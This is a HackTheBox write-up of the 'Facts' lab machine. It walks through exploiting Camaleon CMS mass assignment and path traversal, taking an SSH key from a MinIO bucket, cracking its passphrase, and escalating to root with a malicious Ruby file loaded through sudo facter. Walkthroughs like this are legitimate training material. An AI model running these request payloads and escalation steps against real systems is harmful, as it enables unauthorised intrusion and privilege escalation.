This page looks best with JavaScript enabled

HackTheBox - Facts

Facts — HackTheBox Writeup

Field Details
Machine Facts
OS Linux
Difficulty Easy
Points 20
Release Date 2026-01-31
IP 10.129.17.99

Overview

In Facts we exploit two vulnerabilities in Camaleon CMS that allow privilege escalation and local file reading. From there we gain access to a MinIO object storage bucket containing a user’s SSH private key, crack its passphrase, and land a shell. Finally we escalate to root by loading a malicious Ruby script through a privileged facter sudo rule.


Reconnaissance

Nmap

1
nmap --privileged -p22,80,54321 -sV -sC -oN nmap_scan 10.129.17.99

Three ports are open:

Port Service Version
22/TCP SSH OpenSSH 9.9p1 (Ubuntu)
80/TCP HTTP nginx 1.26.3
54321/TCP HTTP MinIO (Golang net/http)

The HTTP server redirects to http://facts.htb/ — add it to /etc/hosts.


Web Enumeration

Directory Brute Forcing

1
feroxbuster -u http://facts.htb/ -w /usr/share/wordlists/dirb/common.txt -C 404

Notable results:

302  GET  http://facts.htb/admin  =>  http://facts.htb/admin/login
200  GET  http://facts.htb/page
200  GET  http://facts.htb/post
200  GET  http://facts.htb/robots.txt

Camaleon CMS

The admin login redirects at /admin/login. Response headers confirm the CMS:

link: </assets/camaleon_cms/admin/admin-basic-manifest-...>

After registering a user account the version is visible in the profile panel: Camaleon CMS 2.9.0.


Camaleon CMS

Privilege Escalation via Mass Assignment

Camaleon CMS 2.9.0 is affected by GHSA-rp28-mvq3-wf8j. The password-change endpoint uses Rails’ permit!, which accepts the entire parameter array without filtering:

1
2
3
4
5
def updated_ajax
  @user = current_site.users.find(params[:user_id])
  @user.update(params.require(:password).permit!)  # VULNERABLE
  render inline: @user.errors.full_messages.join(', ')
end

The default role for new users is client. The administrator role is admin. By intercepting the password-change request and injecting the role parameter we can promote our own account:

POST /admin/users/5/updated_ajax HTTP/1.1
Host: facts.htb

_method=patch&authenticity_token=<CSRF>
&password[password]=sckull123
&password[password_confirmation]=sckull123
&password[role]=admin

After the request our account has full administrator access to the CMS.


Path Traversal

With admin access we can exploit GHSA-cp65-5m9r-vc2c, which allows reading arbitrary local files through an unsanitised path parameter in the file manager.

Reading /etc/passwd reveals two local users:

trivia:x:1000:1000:,,,:/home/trivia:/bin/bash
william:x:1001:1001:,,,:/home/william:/bin/bash

MinIO — Credential Discovery

Port 54321 runs a MinIO object storage server. Access credentials are visible in the CMS admin storage settings panel.

1
2
./mc alias set randomfacts http://facts.htb:54321 \
    AKIA956E61DAC1233FA8 cVaZKEQrFDgW6NmwZIiYYEl4vwzhuynSg9siYEEr

Listing the bucket contents reveals what appears to be the trivia user’s home directory synced into the internal bucket:

1
2
3
4
5
6
7
8
$ ./mc tree randomfacts
randomfacts
├─ internal
│  ├─ .bundle/
│  ├─ .cache/
│  └─ .ssh/
└─ randomfacts/
   └─ thumb/

The .ssh directory contains both the private key and authorized_keys:

1
2
3
4
5
6
7
8
9
$ ./mc ls randomfacts/internal/.ssh
[2026-01-31]   82B  authorized_keys
[2026-01-31]  464B  id_ed25519

$ ./mc cat randomfacts/internal/.ssh/id_ed25519
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAACmFlczI1Ni1jdHIAAAAGYmNyeXB0AAAAGAAAABCbydJFSr
...
-----END OPENSSH PRIVATE KEY-----

SSH Private Key Passphrase

The key is passphrase-protected. Extract the hash with ssh2john and crack it with john:

1
2
3
4
5
$ ssh2john id_ed25519 > hash
$ john hash --wordlist=rockyou.txt

dragonballz      (id_ed25519)
1g 0:00:01:40 DONE

Shell as trivia

1
2
3
4
5
6
7
$ chmod 600 id_ed25519
$ ssh trivia@facts.htb -i id_ed25519
# passphrase: dragonballz

trivia@facts:~$ whoami;id
trivia
uid=1000(trivia) gid=1000(trivia) groups=1000(trivia)

User flag: 407fc88c5e29ad88876774bb2e2d48ca


Privilege Escalation

Checking sudo permissions:

1
2
trivia@facts:~$ sudo -l
(ALL) NOPASSWD: /usr/bin/facter

/usr/bin/facter is a Ruby script. It accepts a --custom-dir flag that loads and executes every Ruby file in the specified directory:

1
2
trivia@facts:~$ file /usr/bin/facter
/usr/bin/facter: Ruby script, ASCII text executable

We create a Ruby file in a directory we control that copies bash and sets the SUID bit:

1
2
3
4
5
6
7
8
trivia@facts:~$ cat file.rb
system("cp /usr/bin/bash /usr/bin/sc")
system("chmod u+s /usr/bin/sc")

trivia@facts:~$ sudo facter --custom-dir=$(pwd)

trivia@facts:~$ ls -lah /usr/bin/sc
-rwsr-xr-x 1 root root 1.7M  /usr/bin/sc

Execute the SUID copy to get a root shell:

1
2
3
trivia@facts:~$ /usr/bin/sc -p
sc-5.2# whoami
root

Root flag: 7ab46d7606afb1571fe684300a50c3c0


Attack Chain

[Unauthenticated]
      │
      ▼
Register user on Camaleon CMS 2.9.0
      │
      ▼
Mass Assignment (GHSA-rp28-mvq3-wf8j)
→ Inject role=admin into password-change request
→ Account promoted to CMS administrator
      │
      ▼
Path Traversal (GHSA-cp65-5m9r-vc2c)
→ Read /etc/passwd
→ Enumerate local users: trivia, william
      │
      ▼
MinIO Bucket Enumeration (port 54321)
→ Credentials leaked via CMS admin settings
→ trivia's .ssh directory exposed in bucket
→ Retrieve id_ed25519 private key
      │
      ▼
Crack SSH Key Passphrase
→ ssh2john + john + rockyou.txt
→ Passphrase: dragonballz
→ SSH access as trivia
      │
      ▼
Sudo facter --custom-dir
→ Load arbitrary Ruby from user-controlled directory
→ Copy bash + set SUID bit
→ /usr/bin/sc -p
      │
      ▼
[root]
Share on

Dany Sucuc
WRITTEN BY
sckull